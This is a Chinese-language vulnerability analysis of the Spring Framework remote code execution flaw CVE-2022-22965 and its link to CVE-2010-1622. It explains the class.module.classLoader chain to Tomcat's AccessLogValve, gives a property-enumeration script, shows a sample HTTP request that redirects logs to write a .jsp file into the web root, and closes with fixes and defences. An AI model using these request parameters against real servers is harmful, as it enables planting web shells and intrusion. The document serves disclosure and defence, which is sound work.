Spring RCE漏洞分析:从CVE-2010-1622到CVE-2022-22965
1. 漏洞概述
CVE-2022-22965是Spring框架中的一个远程代码执行漏洞,影响版本包括:
- Spring Framework 5.3.X < 5.3.18
- Spring Framework 2.X < 5.2.20
该漏洞需要满足以下条件才能利用:
- 使用Tomcat部署Spring项目
- Tomcat版本 < 9.0.62
- 使用了POJO参数绑定功能
2. 漏洞原理分析
2.1 核心利用机制
该漏洞利用了Spring框架的参数绑定机制和Tomcat的日志配置功能:
- 参数绑定机制:Spring MVC允许将HTTP请求参数绑定到Java对象的属性上
- Tomcat日志配置:Tomcat可以在server.xml中配置日志路径和其他参数,相关类为
org.apache.catalina.valves.AccessLogValve
2.2 利用链分析
攻击者通过构造特殊的参数名,可以修改Tomcat的AccessLogValve属性,从而控制日志文件的:
- 存储位置 (
directory) - 文件名前缀 (
prefix) - 文件名后缀 (
suffix)
完整的利用链如下:
User.getClass()
→ java.lang.Class.getModule()
→ java.lang.Module.getClassLoader()
→ org.apache.catalina.loader.ParallelWebappClassLoader.getResources()
→ org.apache.catalina.webresources.StandardRoot.getContext()
→ org.apache.catalina.core.StandardContext.getParent()
→ org.apache.catalina.core.StandardHost.getPipeline()
→ org.apache.catalina.core.StandardPipeline.getFirst()
→ org.apache.catalina.valves.AccessLogValve.setPattern()
2.3 关键参数说明
攻击者可以控制以下AccessLogValve属性:
-
suffix参数
- 参数名:
class.module.classLoader.resources.context.parent.pipeline.first.suffix - 作用:设置日志文件的后缀,可设置为
.jsp
- 参数名:
-
directory参数
- 参数名:
class.module.classLoader.resources.context.parent.pipeline.first.directory - 作用:设置日志文件的输出目录,通常设置为
webapps/ROOT(Tomcat Web应用根目录)
- 参数名:
-
prefix参数
- 参数名:
class.module.classLoader.resources.context.parent.pipeline.first.prefix - 作用:设置日志文件的前缀
- 参数名:
-
fileDateFormat参数
- 参数名:
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat - 作用:设置日志文件名中的日期格式,可设置为空
- 参数名:
3. 利用条件分析
3.1 为什么需要JDK 9+?
Spring在对CVE-2010-1622漏洞修复时将classLoader添加进了黑名单。但从JDK 9开始引入了模块(Module)概念,可以通过module来调用JDK模块下的方法,而module不在黑名单中,因此能够绕过黑名单限制(使用class.module.classLoader.xxxx的方式)。
3.2 为什么需要Tomcat部署?
使用SpringBoot可执行jar包方式运行时,classLoader嵌套参数被解析为org.springframework.boot.loader.LaunchedURLClassLoader,该类没有getResources()方法,因此无法进一步利用。
4. 漏洞检测与利用
4.1 属性遍历脚本
可以使用以下Java代码遍历可用的属性:
@RequestMapping("/testclass")
public void classTest(){
HashSet<Object> set = new HashSet<Object>();
String poc = "class.moduls.classLoader";
User action = new User();
processClass(action.getClass().getClassLoader(), set, poc);
}
public void processClass(Object instance, java.util.HashSet set, String poc){
try {
Class<?> c = instance.getClass();
set.add(instance);
Method[] allMethods = c.getMethods();
// 遍历setter方法
for (Method m : allMethods) {
if (!m.getName().startsWith("set")) continue;
if (!m.toGenericString().startsWith("public")) continue;
Class<?>[] pType = m.getParameterTypes();
if (pType.length != 1) continue;
if (pType[0].getName().equals("java.lang.String") ||
pType[0].getName().equals("boolean") ||
pType[0].getName().equals("int")){
String fieldName = m.getName().substring(3,4).toLowerCase() +
m.getName().substring(4);
System.out.println(poc + "." + fieldName);
}
}
// 遍历getter方法
for (Method m : allMethods) {
if (!m.getName().startsWith("get")) continue;
if (!m.toGenericString().startsWith("public")) continue;
Class<?>[] pType = m.getParameterTypes();
if (pType.length != 0) continue;
if (m.getReturnType() == Void.TYPE) continue;
m.setAccessible(true);
Object o = m.invoke(instance);
if (o != null && !set.contains(o)) {
processClass(o, set, poc + "." +
m.getName().substring(3,4).toLowerCase() +
m.getName().substring(4));
}
}
} catch (Exception x) {
x.printStackTrace();
}
}
4.2 典型POC示例
POST /vulnerable-endpoint HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapp/ROOT
5. 漏洞修复方案
5.1 Spring官方修复
Spring 5.3.18/5.2.20版本中修改了CachedIntrospectionResults构造函数中对Java Bean的PropertyDescriptor的过滤条件:
- 当Java Bean类型为
java.lang.Class时,仅允许获取name以及Name后缀的属性描述符 - 这阻断了通过
java.lang.Class.getModule()的利用链
5.2 Tomcat官方修复
Tomcat 9.0.62版本中修改了getResource()方法的返回值,直接返回null,阻断了通过org.apache.catalina.loader.ParallelWebappClassLoader.getResources()的利用链。
6. 相关技术背景
6.1 与CVE-2010-1622的关系
CVE-2010-1622是早期Spring框架中的一个类似漏洞,Spring通过将classLoader加入黑名单进行了修复。CVE-2022-22965利用了JDK 9+引入的模块系统绕过了这一限制。
6.2 与Struts2 S2-020的关系
该漏洞的利用方式参考了Struts2 S2-020漏洞的利用方法,都是通过精心构造的参数名来控制系统配置。
7. 防御建议
- 及时升级Spring框架到安全版本(5.3.18+或5.2.20+)
- 升级Tomcat到9.0.62或更高版本
- 对于无法立即升级的系统,可以考虑以下临时缓解措施:
- 限制可疑的HTTP参数名
- 禁用危险的参数绑定功能
- 实施严格的输入验证